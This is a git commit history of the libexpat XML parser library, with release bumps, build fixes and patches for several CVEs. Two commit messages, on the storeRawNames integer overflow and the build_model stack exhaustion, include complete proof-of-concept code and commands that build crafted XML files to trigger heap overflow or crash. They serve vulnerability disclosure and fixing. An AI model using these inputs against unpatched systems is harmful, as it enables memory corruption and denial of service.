Sebastian Pipping 9579f7ea29 Changes: Document #572 and #577 2022-03-04 16:56:22 +01:00
Sebastian Pipping c57bea96b7 lib|doc: Add a note on namespace URI validation 2022-03-04 16:56:22 +01:00
Sebastian Pipping 5dd5218297 lib: Document namespace separator effect right in header <expat.h> 2022-03-04 16:54:01 +01:00
Sebastian Pipping e0f852db1e tests: Cover relaxed fix to CVE-2022-25236 2022-03-04 16:54:01 +01:00
Sebastian Pipping 2ba6c76fca lib: Relax fix to CVE-2022-25236 with regard to RFC 3986 URI characters 2022-03-04 16:54:01 +01:00
Sebastian Pipping c99e0e7f2b Merge pull request #579 from Tieske/patch-1
doc: Fix documentation of XML_EndDoctypeDeclHandler in <expat.h>
2022-03-04 16:46:36 +01:00
Thijs Schreijer 7abe5549cb fix typo
This has already been corrected in the official API reference docs
2022-03-04 11:24:31 +01:00
Thijs Schreijer 80553ff825 doc: Document that a call to XML_FreeContentModel can be done at a later time from outside the element declaration handler (#575) 2022-03-02 21:33:54 +01:00
Sebastian Pipping 866a8617e4 Merge pull request #574 from libexpat/hardcoded-namespace-uri-findability
lib: Make hardcoded namespace URIs easier to find
2022-02-27 03:49:16 +01:00
Sebastian Pipping 92527164e7 lib: Make hardcoded namespace URIs easier to find 2022-02-27 02:42:54 +01:00
Jeffrey Walton 8c4b3aa16f Update documentation on use of XML_POOR_ENTOPY on Solaris (#573) 2022-02-26 22:00:16 +01:00
Sebastian Pipping 6aa6a82d24 Merge pull request #570 from petitlapin/dll_info
CMake/Windows: store Expat version in the dll
2022-02-24 23:09:09 +01:00
Johnny Jazeix f294837733 CMake/Windows: store Expat version in the dll
Fixes #555

Tested with msvc2019 and mingw8.1
2022-02-24 22:26:40 +01:00
Sebastian Pipping ce08faf294 Merge pull request #571 from libexpat/issue-569-resolve-use-of-macros-nan-and-infinity
tests: Resolve use of macros NAN and INFINITY for GNU G++ 4.8.2 (fixes #569)
2022-02-24 00:34:52 +01:00
Sebastian Pipping f6f5d9bb4c tests: Resolve use of macros NAN and INFINITY for GNU G++ 4.8.2 2022-02-23 22:58:36 +01:00
Sebastian Pipping 65a21f2b2a Merge pull request #568 from libexpat/issue-567-prepare-release
Prepare release 2.4.6 (part of #567)
2022-02-20 18:01:38 +01:00
Sebastian Pipping 400e6955ff Set expected release date for 2.4.6 2022-02-20 16:09:26 +01:00
Sebastian Pipping 28f74546b4 Bump version to 2.4.6 2022-02-20 16:09:26 +01:00
Sebastian Pipping 45732df416 Bump version info from 9:5:8 to 9:6:8
See https://verbump.de/ for what these numbers do
2022-02-20 16:09:26 +01:00
Sebastian Pipping 49abcfba57 Changes: Finalize entry on #566 2022-02-20 16:09:22 +01:00
Sebastian Pipping 9288cd5474 Merge pull request #566 from ferivoz/model-regression
Fix build_model regression
2022-02-20 15:57:54 +01:00
Sebastian Pipping 2722201a5b Changes: Document regression from CVE-2022-25313 fix 2022-02-20 11:55:54 +00:00
Sebastian Pipping 154e565f6e tests: Protect against nested element declaration model regressions 2022-02-20 11:55:49 +00:00
Samanta NavarroandSebastian Pipping b12f34fe32 Fix build_model regression.
The iterative approach in build_model failed to fill children arrays
correctly. A preorder traversal is not required and turned out to be the
culprit. Use an easier algorithm:

Add nodes from scaffold tree starting at index 0 (root) to the target
array whenever children are encountered. This ensures that children
are adjacent to each other. This complies with the recursive version.

Store only the scaffold index in numchildren field to prevent a direct
processing of these children, which would require a recursive solution.
This allows the algorithm to iterate through the target array from start
to end without jumping back and forth, converting on the fly.

Co-authored-by: Sebastian Pipping <sebastian@pipping.org>
2022-02-20 11:55:46 +00:00
Sebastian Pipping 97a4840578 Merge pull request #564 from libexpat/issue-557-prepare-release
Prepare release 2.4.5 (part of #557)
2022-02-18 23:39:29 +01:00
Sebastian Pipping bacd815ed0 Set expected release date for 2.4.5 2022-02-18 20:17:17 +01:00
Sebastian Pipping fdbd69b12c Sync file headers 2022-02-18 20:17:16 +01:00
Sebastian Pipping fa379d65dd Bump version to 2.4.5 2022-02-18 20:17:16 +01:00
Sebastian Pipping 748c618f72 Bump version info from 9:4:8 to 9:5:8
See https://verbump.de/ for what these numbers do
2022-02-18 20:14:29 +01:00
Sebastian Pipping e2d43320ce Changes: Document #558 #559 #560 2022-02-18 20:14:29 +01:00
Sebastian Pipping 306b72134f Merge pull request #562 from libexpat/utf8-security
[CVE-2022-25235] lib: Protect against malformed encoding (e.g. malformed UTF-8)
2022-02-18 20:12:32 +01:00
Sebastian Pipping c16300f0bc Changes: Document CVE-2022-25235 2022-02-18 18:04:27 +01:00
Sebastian Pipping 6a5510bc6b tests: Cover missing validation of encoding (CVE-2022-25235) 2022-02-18 18:02:19 +01:00
Sebastian Pipping c85a3025e7 lib: Add comments to BT_LEAD* cases where encoding has already been validated 2022-02-18 18:02:19 +01:00
Sebastian Pipping 3f0a0cb644 lib: Add missing validation of encoding (CVE-2022-25235) 2022-02-18 18:02:19 +01:00
Sebastian Pipping ee2a5b50e7 lib: Drop unused macro UTF8_GET_NAMING 2022-02-18 18:02:19 +01:00
Sebastian Pipping 2cc97e875e Merge pull request #561 from libexpat/namesep-security
[CVE-2022-25236] lib: Protect against insertion of namesep characters into namespace URIs
2022-02-18 18:01:27 +01:00
Sebastian Pipping d477fdd284 Merge pull request #560 from ferivoz/copy
[CVE-2022-25314] lib: Prevent integer overflow in copyString
2022-02-18 18:00:46 +01:00
Sebastian Pipping 89214940ef Merge pull request #559 from ferivoz/rawnames
[CVE-2022-25315] lib: Prevent integer overflow in storeRawNames
2022-02-18 18:00:24 +01:00
Sebastian Pipping bbdfcfef47 Merge pull request #558 from ferivoz/model
[CVE-2022-25313] lib: Prevent stack exhaustion in build_model
2022-02-18 17:59:50 +01:00
Sebastian Pipping e4d7e49782 Changes: Document CVE-2022-25236 2022-02-16 02:07:31 +01:00
Sebastian Pipping 2de077423f tests: Cover CVE-2022-25236 2022-02-16 02:07:31 +01:00
Sebastian Pipping a2fe525e66 lib: Protect against malicious namespace declarations (CVE-2022-25236) 2022-02-16 02:07:19 +01:00
Sebastian Pipping 6881a4fc85 lib: Fix (harmless) use of uninitialized memory 2022-02-16 02:06:23 +01:00
Sebastian Pipping f1a444ef64 Merge pull request #563 from libexpat/extend-mailmap
Extend .mailmap
2022-02-15 22:43:52 +01:00
Sebastian Pipping 317c91776a Sync file headers 2022-02-15 21:23:29 +01:00
Sebastian Pipping 68ed0d7e63 Extend .mailmap 2022-02-15 21:23:25 +01:00
Samanta Navarro eb0362808b Prevent integer overflow in storeRawNames
It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.

The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.

Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.

Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.

The proof of concept works by taking these three considerations into
account:

1. Move the m_buffer size slightly below a power of two by having a
   short root node <a>. This allows the m_buffer to grow very close
   to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
   INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
   limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
   which only contains ASCII characters. UTF-16 always stores two
   bytes per character while the tag name is converted to using only
   one. Our attack node byte count must be a bit higher than
   2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
   in sum can overflow INT_MAX.

Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.

Proof of Concept:

1. Compile expat with -fsanitize=address.

2. Create Proof of Concept binary which iterates through input
   file 16 MB at once for better performance and easier integer
   calculations:

```
cat > poc.c << EOF
 #include <err.h>
 #include <expat.h>
 #include <stdlib.h>
 #include <stdio.h>

 #define CHUNK (16 * 1024 * 1024)
 int main(int argc, char *argv[]) {
   XML_Parser parser;
   FILE *fp;
   char *buf;
   int i;

   if (argc != 2)
     errx(1, "usage: poc file.xml");
   if ((parser = XML_ParserCreate(NULL)) == NULL)
     errx(1, "failed to create expat parser");
   if ((fp = fopen(argv[1], "r")) == NULL) {
     XML_ParserFree(parser);
     err(1, "failed to open file");
   }
   if ((buf = malloc(CHUNK)) == NULL) {
     fclose(fp);
     XML_ParserFree(parser);
     err(1, "failed to allocate buffer");
   }
   i = 0;
   while (fread(buf, CHUNK, 1, fp) == 1) {
     printf("iteration %d: XML_Parse returns %d\n", ++i,
       XML_Parse(parser, buf, CHUNK, XML_FALSE));
   }
   free(buf);
   fclose(fp);
   XML_ParserFree(parser);
   return 0;
 }
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```

3. Construct specially prepared UTF-16 XML file:

```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```

4. Run proof of concept:

```
./poc poc-utf16.xml
```
2022-02-15 12:17:18 +00:00
Samanta Navarro efcb347440 Prevent integer overflow in copyString
The copyString function is only used for encoding string supplied by
the library user.
2022-02-15 12:16:57 +00:00
Samanta NavarroandSebastian Pipping 9b4ce651b2 Prevent stack exhaustion in build_model
It is possible to trigger stack exhaustion in build_model function if
depth of nested children in DTD element is large enough. This happens
because build_node is a recursively called function within build_model.

The code has been adjusted to run iteratively. It uses the already
allocated heap space as temporary stack (growing from top to bottom).

Output is identical to recursive version. No new fields in data
structures were added, i.e. it keeps full API and ABI compatibility.
Instead the numchildren variable is used to temporarily keep the
index of items (uint vs int).

Documentation and readability improvements kindly added by Sebastian.

Proof of Concept:

1. Compile poc binary which parses XML file line by line

```
cat > poc.c << EOF
 #include <err.h>
 #include <expat.h>
 #include <stdio.h>

 XML_Parser parser;

 static void XMLCALL
 dummy_element_decl_handler(void *userData, const XML_Char *name,
                            XML_Content *model) {
   XML_FreeContentModel(parser, model);
 }

 int main(int argc, char *argv[]) {
   FILE *fp;
   char *p = NULL;
   size_t s = 0;
   ssize_t l;
   if (argc != 2)
     errx(1, "usage: poc poc.xml");
   if ((parser = XML_ParserCreate(NULL)) == NULL)
     errx(1, "XML_ParserCreate");
   XML_SetElementDeclHandler(parser, dummy_element_decl_handler);
   if ((fp = fopen(argv[1], "r")) == NULL)
     err(1, "fopen");
   while ((l = getline(&p, &s, fp)) > 0)
     if (XML_Parse(parser, p, (int)l, XML_FALSE) != XML_STATUS_OK)
       errx(1, "XML_Parse");
   XML_ParserFree(parser);
   free(p);
   fclose(fp);
   return 0;
 }
EOF
cc -std=c11 -D_POSIX_C_SOURCE=200809L -lexpat -o poc poc.c
```

2. Create XML file with a lot of nested groups in DTD element

```
cat > poc.xml.zst.b64 << EOF
KLUv/aQkACAAPAEA+DwhRE9DVFlQRSB1d3UgWwo8IUVMRU1FTlQgdXd1CigBAHv/58AJAgAQKAIA
ECgCABAoAgAQKAIAECgCABAoAgAQKHwAAChvd28KKQIA2/8gV24XBAIAECkCABApAgAQKQIAECkC
ABApAgAQKQIAEClVAAAgPl0+CgEA4A4I2VwwnQ==
EOF
base64 -d poc.xml.zst.b64 | zstd -d > poc.xml
```

3. Run Proof of Concept

```
./poc poc.xml
```

Co-authored-by: Sebastian Pipping <sebastian@pipping.org>
2022-02-15 12:16:23 +00:00
Sebastian Pipping 81b89678e2 Merge pull request #554 from libexpat/issue-552-prepare-release
Prepare release 2.4.4 (part of #552)
2022-01-30 01:09:37 +01:00
Sebastian Pipping 3ce557eecb win32: Add missing files to the installer 2022-01-29 23:33:09 +01:00
Sebastian Pipping c322e14f9f doc: Drop unused file valid-xhtml10.png
Unused since commit 30c4aa85f5 of 2.4.0
2022-01-29 23:28:05 +01:00
Sebastian Pipping 26b677744c .gitignore: Add missing 2022-01-29 23:28:05 +01:00
Sebastian Pipping da3dcd4ecf xmlwf.xml: Adapt note to current practice 2022-01-29 23:28:05 +01:00
Sebastian Pipping 0afb2df6a9 Set expected release date for 2.4.4 2022-01-29 23:28:05 +01:00
Sebastian Pipping 039af6611d Sync file headers 2022-01-29 23:28:05 +01:00
Sebastian Pipping a445be8e0d Bump version to 2.4.4 2022-01-29 23:20:49 +01:00
Sebastian Pipping 2a0add0a7a Bump version info from 9:3:8 to 9:4:8
See https://verbump.de/ for what these numbers do
2022-01-29 23:20:18 +01:00
Sebastian Pipping 6c7c96d98c Changes: Document #546 2022-01-29 23:20:18 +01:00
czentgr d97a123d0b Stop casting void* results from calls to .malloc_fcn (#553) 2022-01-29 01:21:41 +01:00
Sebastian Pipping 5c168279c5 Merge pull request #551 from libexpat/prevent-doprolog-overflow
[CVE-2022-23990] lib: Prevent integer overflow in function doProlog
2022-01-26 23:16:10 +01:00
Sebastian Pipping 6e3449594f Changes: Document CVE-2022-23990 2022-01-26 19:33:23 +01:00
Sebastian Pipping ede41d1e18 lib: Prevent integer overflow in doProlog (CVE-2022-23990)
The change from "int nameLen" to "size_t nameLen"
addresses the overflow on "nameLen++" in code
"for (; name[nameLen++];)" right above the second
change in the patch.
2022-01-26 19:33:12 +01:00
Sebastian Pipping 5f100ffa78 Merge pull request #545 from libexpat/issue-544-fix-xmlwf-memleak-on-file-opening-error
[>=2.3.0] xmlwf: Fix a memory leak on output file opening error (fixes #544)
2022-01-24 18:45:26 +01:00
Sebastian Pipping 85a6f8fcdb xmlwf: Fix a memory leak on output file opening error 2022-01-24 15:41:32 +01:00
Sebastian Pipping 178d26f50a Merge pull request #550 from libexpat/prevent-getbuffer-overflow
[CVE-2022-23852] Prevent XML_GetBuffer signed integer overflow
2022-01-24 15:39:04 +01:00
Sebastian Pipping 99cec436fb Changes: Document CVE-2022-23852 2022-01-24 02:37:47 +01:00
Sebastian Pipping acf956f14b tests: Cover integer overflow in XML_GetBuffer (CVE-2022-23852) 2022-01-24 02:37:47 +01:00
Samanta Navarro 847a645152 lib: Detect and prevent integer overflow in XML_GetBuffer (CVE-2022-23852) 2022-01-24 02:35:02 +01:00
Sebastian Pipping 8fb2211e99 Merge pull request #548 from ferivoz/typos
Fix typos
2022-01-22 15:59:07 +01:00
Samanta Navarro 5a8f5f1d40 Fix typos
Typos found with codespell.
2022-01-22 12:06:45 +00:00
Carlo Bramini 1e1b52be2d [>=2.3.0] Autotools: Fix broken CMake support under Cygwin (#546)
Autotools: Fix broken CMake support under Cygwin
2022-01-20 21:03:36 +01:00
Sebastian Pipping 57c7da69b7 Merge branch 'issue-533-prepare-release' (#533) 2022-01-16 14:13:19 +01:00
Sebastian Pipping fc4652b2b3 Set expected release date for 2.4.3 2022-01-13 23:47:57 +01:00
Sebastian Pipping 87638f86fd Changes: Streamline item order for 2.4.3 2022-01-13 23:47:57 +01:00
Sebastian Pipping 09044348e1 Changes: Document #528 and #529 2022-01-13 23:47:43 +01:00
Sebastian Pipping 6496a03d40 Sync years in file headers 2022-01-13 23:45:22 +01:00
Sebastian Pipping d102671bfe Bump version to 2.4.3 2022-01-13 20:08:47 +01:00
Sebastian Pipping 2a6019d0fb Bump version info from 9:2:8 to 9:3:8
See https://verbump.de/ for what these numbers do
2022-01-13 20:02:42 +01:00
Sebastian Pipping 919a2bec5e Merge pull request #539 from libexpat/prevent-more-integer-overflows
[CVE-2022-22822 to CVE-2022-22827] lib: Prevent more integer overflows
2022-01-13 19:56:36 +01:00
Sebastian Pipping 8e9f6ea08c Changes: Document CVE-2022-22822 to CVE-2022-22827 2022-01-12 17:01:55 +01:00
Sebastian Pipping 9f93e8036e lib: Prevent integer overflow at multiple places (CVE-2022-22822 to CVE-2022-22827)
The involved functions are:
- addBinding (CVE-2022-22822)
- build_model (CVE-2022-22823)
- defineAttribute (CVE-2022-22824)
- lookup (CVE-2022-22825)
- nextScaffoldPart (CVE-2022-22826)
- storeAtts (CVE-2022-22827)
2022-01-12 17:01:55 +01:00
Sebastian Pipping 653bcf9c25 linux.yml: Add some -m32 coverage to -DEXPAT_ATTR_INFO=ON 2022-01-10 18:01:38 +01:00
Sebastian Pipping 82c11af9d3 Merge pull request #538 from libexpat/issue-532-integer-overflow
[CVE-2021-46143] lib: Prevent integer overflow on m_groupSize in function doProlog (fixes #532)
2022-01-10 18:01:11 +01:00
Sebastian Pipping f488b072b7 Changes: Document integer overflow CVE-2021-46143 2022-01-10 16:51:50 +01:00
Sebastian Pipping 85ae9a2d7d lib: Prevent integer overflow on m_groupSize in function doProlog (CVE-2021-46143) 2022-01-10 16:51:14 +01:00
Sebastian Pipping b6b432bad5 Merge pull request #541 from libexpat/fix-run-sh-in-for-native-windows
run.sh.in: Do not use Wine with Cygwin and MSYS2
2022-01-10 16:26:31 +01:00
Sebastian Pipping 572ef7a2ac run.sh.in: Do not use Wine with Cygwin and MSYS2 2022-01-09 23:04:13 +01:00
Sebastian Pipping 9dc50735f7 Merge pull request #534 from libexpat/issue-531-troublesome-shifts
[CVE-2021-45960] lib: Detect and prevent troublesome left shifts in function storeAtts (fixes #531)
2022-01-07 23:17:01 +01:00
Sebastian Pipping f82a72271c Changes: Document CVE-2021-45960 2022-01-05 18:23:42 +01:00
Sebastian Pipping 0adcb34c49 lib: Detect and prevent troublesome left shifts in function storeAtts (CVE-2021-45960) 2022-01-05 18:23:42 +01:00
Sebastian Pipping 5cde0d78fc Merge pull request #536 from libexpat/actions-cover-cmake-required-version
Actions: Check for realistic minimum CMake version requirement
2022-01-01 16:49:58 +01:00
Sebastian Pipping 9470015a1f Actions: Check for realistic minimum CMake version requirement 2022-01-01 15:58:47 +01:00
Sebastian Pipping 4a0af42c35 Merge pull request #535 from libexpat/cmake-fix-call-to-file-generate
CMake: Make call to file(GENERATE [..]) work for CMake <3.19
2021-12-31 22:35:46 +01:00
Sebastian Pipping 2ed8e19ada CMake: Make call to file(GENERATE [..]) work for CMake <3.19
Error from CMake 3.7.2 was:

CMake Error at CMakeLists.txt:482 (file):
  file Incorrect arguments to GENERATE subcommand.
2021-12-31 20:49:00 +01:00
Sebastian Pipping 60bbbe560c Merge pull request #529 from libexpat/actions-cover-m32
GitHub Actions: Cover -m32 + store coverage results as an artifact
2021-12-28 16:11:41 +01:00
Sebastian Pipping 5aaa96e1a2 coverage.yml: Store coverage .info and HTML report 2021-12-28 04:18:10 +01:00
Sebastian Pipping 28e427e689 linux.yml: Add some coverage to -m32 32bit mode 2021-12-28 04:06:05 +01:00
Sebastian Pipping f4adc65cc8 coverage.sh: Simplify directory naming scheme 2021-12-28 01:25:16 +01:00
Sebastian Pipping 23e820aa25 coverage.sh: Start coveraging -m32 2021-12-28 01:25:16 +01:00
Sebastian Pipping befef7e52a CMake: Add unofficial flag for passing 32bit compile flag -m32 2021-12-27 22:14:18 +01:00
Sebastian Pipping 58d1f13d31 Merge pull request #528 from libexpat/actions-upgrade-clang
Upgrade Clang from 11 to 13 (and fix a related warning)
2021-12-26 23:52:48 +01:00
Sebastian Pipping 98bb7f287e Actions: Upgrade Clang from 11 to 13 2021-12-26 19:51:44 +01:00
Sebastian Pipping c2b5d52404 xmlwf: Address Clang 13 warning -Wunused-but-set-variable 2021-12-26 19:51:44 +01:00
Sebastian Pipping 9542ad2471 Merge pull request #527 from libexpat/address-compiler-warnings
lib: Address GCC 11.2.1 compiler warning
2021-12-25 21:11:03 +01:00
Sebastian Pipping 5bab452b49 lib: Address GCC 11.2.1 compiler warning
Symptom was:

In file included from xmltok.c:58:
xmltok_ns.c: In function ‘findEncodingNS’:
xmltok.h:276:10: warning: ‘buf’ may be used uninitialized [-Wmaybe-uninitialized]
  276 |   (((enc)->utf8Convert)(enc, fromP, fromLim, toP, toLim))
      |   ~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
xmltok_ns.c:99:3: note: in expansion of macro ‘XmlUtf8Convert’
   99 |   XmlUtf8Convert(enc, &ptr, end, &p, p + ENCODING_MAX - 1);
      |   ^~~~~~~~~~~~~~
xmltok.h:276:10: note: by argument 5 of type ‘const char *’ to ‘enum XML_Convert_Result(const ENCODING *, const char **, const char *, char **, const char *)’ {aka ‘enum XML_Convert_Result(const struct encoding *, const char **, const char *, char **, const char *)’}
  276 |   (((enc)->utf8Convert)(enc, fromP, fromLim, toP, toLim))
      |   ~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
xmltok_ns.c:99:3: note: in expansion of macro ‘XmlUtf8Convert’
   99 |   XmlUtf8Convert(enc, &ptr, end, &p, p + ENCODING_MAX - 1);
      |   ^~~~~~~~~~~~~~
In file included from xmltok.c:1666:
xmltok_ns.c:96:8: note: ‘buf’ declared here
   96 |   char buf[ENCODING_MAX];
      |        ^~~
2021-12-25 18:15:25 +01:00
Sebastian Pipping 9c42ebdd4a .gitignore: Fully cover ./distribute.sh output 2021-12-19 23:48:00 +01:00
Sebastian Pipping e26a263aa9 Merge pull request #526 from libexpat/issue-525-prepare-release
Release Expat 2.4.2 (part of #525)
2021-12-19 23:21:30 +01:00
Sebastian Pipping 4d9059d3cf Set expected release date for 2.4.2 2021-12-19 19:29:54 +01:00
Sebastian Pipping f3f6ae617c Bump version to 2.4.2 2021-12-17 18:01:39 +01:00
Sebastian Pipping 716735e56b Bump version info from 9:1:8 to 9:2:8
See https://verbump.de/ for what these numbers do
2021-12-17 18:01:32 +01:00
Sebastian Pipping 96ff8de1d6 Changes: Document #502 #503 #507 #519 + fix reference to #498 2021-12-17 17:50:32 +01:00
Sebastian Pipping 2829a27505 Merge pull request #524 from libexpat/fix-msvc-lib-files-naming
CMake: Ensure libexpat*.lib filenames with MSVC
2021-12-15 18:38:17 +01:00
Sebastian Pipping 8589e9598a CMake: Ensure libexpat*.lib filenames with MSVC
This fixes a post-2.4.1 regression from
commit 3486fd6e3d
introduced by pull request #495.
2021-12-15 16:40:15 +01:00
Sebastian Pipping bf2c3f3d89 Merge pull request #523 from libexpat/issue-522-fix-return-value-docs
[docs] Fix return value docs on XML_SetBillionLaughs[..] functions (fixes #522)
2021-12-14 14:56:30 +01:00
Sebastian Pipping 8c2b1853cd doc: Fix return value docs on XML_SetBillionLaughs[..] functions (#522) 2021-12-14 01:33:49 +01:00
Sebastian Pipping 59d5c6eacd Merge pull request #519 from libexpat/sync-autotools-cmake-templates
autotools: Sync expat.cmake to agree with CI
2021-11-26 16:23:21 +01:00
Sebastian Pipping 5a4ec4cf7f autotools: Sync expat.cmake to agree with CI 2021-11-26 15:15:07 +01:00
Sebastian Pipping 08d29debae Merge pull request #517 from libexpat/dependabot/github_actions/actions/checkout-2.4.0
Actions(deps): Bump actions/checkout from 2.3.5 to 2.4.0
2021-11-08 14:54:41 +01:00
dependabot[bot] 761db909b0 Actions(deps): Bump actions/checkout from 2.3.5 to 2.4.0
Bumps [actions/checkout](https://github.com/actions/checkout) from 2.3.5 to 2.4.0.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2.3.5...v2.4.0)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-11-08 12:04:47 +00:00
Sebastian Pipping ade2c09774 Merge pull request #515 from libexpat/dependabot/github_actions/actions/checkout-2.3.5
Actions(deps): Bump actions/checkout from 2.3.4 to 2.3.5
2021-10-18 14:48:24 +02:00
dependabot[bot] 5be9361183 Actions(deps): Bump actions/checkout from 2.3.4 to 2.3.5
Bumps [actions/checkout](https://github.com/actions/checkout) from 2.3.4 to 2.3.5.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2.3.4...v2.3.5)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-10-18 12:05:03 +00:00
Sebastian Pipping c3300c9bf2 Get attribution headers back in sync
Follow-up to pull requests #503 and #510
2021-10-17 16:35:12 +02:00
Sebastian Pipping 2996968b11 Merge branch 'corona10-gh-513' (fixes #513, pull request #514) 2021-10-17 16:33:50 +02:00
Sebastian Pipping 105a5c6ee7 Changes: Document #513 and #514 2021-10-17 16:32:08 +02:00
Sebastian Pipping c05efa1fbf Apply #514 to attribution headers 2021-10-17 16:28:01 +02:00
Dong-hee Na 59734d6e31 Reorder the location of including expat_config.h 2021-10-17 20:45:24 +09:00
Sebastian Pipping 72d7ce9538 Merge pull request #510 from libexpat/issue-509-link-against-libm
Link against libm for function "isnan" (fixes #509)
2021-09-20 19:19:02 +02:00
Sebastian Pipping 0b7a88b355 Autotools|CMake: Link against libm for function "isnan"
$ git --no-pager grep -lw isnan
lib/xmlparse.c
tests/runtests.c
xmlwf/xmlwf.c
2021-09-20 18:27:52 +02:00
Sebastian Pipping 634cc999e0 autotools-cmake.yml: Add missing full stop 2021-09-10 15:56:36 +02:00
Sebastian Pipping 9f742632ba Merge pull request #507 from libexpat/autotools-sync-cmake-files
Autotools: Get CMake templates back in sync with CMake of GitHub Actions image "ubuntu-20.04"
2021-07-23 15:35:44 +02:00
Sebastian Pipping 3914c2cb83 Autotools: Get CMake templates back in sync with ubuntu-20.04 2021-07-23 14:26:57 +02:00
Sebastian Pipping ee695c7895 Merge pull request #495 from libexpat/fix-pkgconfig-libs-for-mingw
CMake: Fix pkg-config section "Libs" for build type Debug with MinGW
2021-07-06 17:07:47 +02:00
Sebastian Pipping f9eb8a1286 CMake: Improve summary output for multi-config builds 2021-07-06 16:22:38 +02:00
Sebastian Pipping 40bf9fe84a CMake: Report on effective CMake generator 2021-07-06 16:22:38 +02:00
Sebastian Pipping 19dd50990d Autotools: Simplify expat.pc templating (now that we can) 2021-07-06 16:22:38 +02:00
Sebastian Pipping 1d4bb74c34 CMake: Fix pkg-config section "Libs" for multi-config CMake generators 2021-07-06 16:22:38 +02:00
Kai Pastor 663e529eed Update URL in pc file 2021-07-06 16:22:38 +02:00
Sebastian Pipping 3486fd6e3d CMake: Fix pkg-config section "Libs" for non-release MinGW builds 2021-07-06 16:22:38 +02:00
Sebastian Pipping 7cf97a9bda CMake: Apply -DEXPAT_MSVC_STATIC_CRT=ON to off-grid built types 2021-07-06 16:22:38 +02:00
Sebastian Pipping b73c80a727 CMake: Avoid empty CMAKE_BUILD_TYPE 2021-07-06 16:22:38 +02:00
Sebastian Pipping a3bc9162e6 CMake: Move _EXPAT_BUILD_TYPE_UPPER up for upcoming re-use 2021-07-06 16:22:38 +02:00
Sebastian Pipping 9c9b05d2d7 Merge pull request #503 from Batchyx/nullbuffers
doc/reference.html: Document that XML_GetBuffer(parser, 0) may return NULL
2021-07-05 17:01:01 +02:00
Nicolas Cavallari 76186fb89e doc/reference.html: Docmument that XML_GetBuffers(parser, 0) may be NULL
Allocating zero bytes with XML_GetBuffers may return NULL or a non-NULL
pointer depending on the current internal buffer state (#502).

Document this behavior, as it can be surprising.
2021-07-05 16:14:36 +02:00
Sebastian Pipping 6a0584a59a Merge pull request #498 from libexpat/add-files-to-release-archives
Include files buildconf.sh and fuzz/*.c with release archives
2021-06-06 13:23:34 +02:00
Sebastian Pipping 00839393f3 Makefile.am: Include buildconf.sh and fuzz/*.c with release archives 2021-06-05 21:17:25 +02:00
Sebastian Pipping a28238bdee Merge pull request #492 from libexpat/issue-491-prepare-release-2-4-1
Prepare release 2.4.1 (part of #491)
2021-05-23 17:56:03 +02:00
Sebastian Pipping 92c3cad80f Set expected release date for 2.4.1 2021-05-23 17:04:56 +02:00
Sebastian Pipping 13445938e7 Bump version info from 9:0:8 to 9:1:8
See https://verbump.de/ for what these numbers do.
2021-05-23 16:57:40 +02:00
Sebastian Pipping 8001550dc4 Bump version to 2.4.1 2021-05-23 16:52:59 +02:00
Sebastian Pipping e215a91bce Merge pull request #490 from libexpat/issue-488-expat-config-h-multilib-support
[2.4.0] Keep macro SIZEOF_VOID_P out of file expat_config.h(.in) for multilib (fixes #488)
2021-05-23 16:52:20 +02:00
Sebastian Pipping 779d147681 Keep macro SIZEOF_VOID_P out of expat_config.h(.in) for multilib support 2021-05-23 15:43:56 +02:00
Sebastian Pipping fa12e73d05 Merge pull request #489 from libexpat/actions-make-git-fetch-unshallow-robust-to-existing-tags
GitHub Actions: Avoid error "would clobber existing tag" when triggered by pushing a new Git tag
2021-05-23 03:12:46 +02:00
Sebastian Pipping 6aa6fe90a3 Actions: Avoid error "would clobber existing tag" when pushing new tags 2021-05-23 02:27:13 +02:00
Sebastian Pipping ac2b235d3c Merge pull request #480 from libexpat/issue-479-release-expat-2-4-0
Prepare release 2.4.0 (part of #479)
2021-05-23 00:26:06 +02:00
Sebastian Pipping ecdff1c906 Set expected release date for 2.4.0 2021-05-22 19:42:02 +02:00
Sebastian Pipping e083f03235 Bump version info from 8:0:7 to 9:0:8
See https://verbump.de/ for what these numbers do
2021-05-22 19:07:49 +02:00
Sebastian Pipping b913a529ae Bump version to 2.4.0 2021-05-22 19:07:49 +02:00
Sebastian Pipping bc6495dfc0 Changes: Extend section on upcoming release 2.4.0 2021-05-22 19:07:49 +02:00
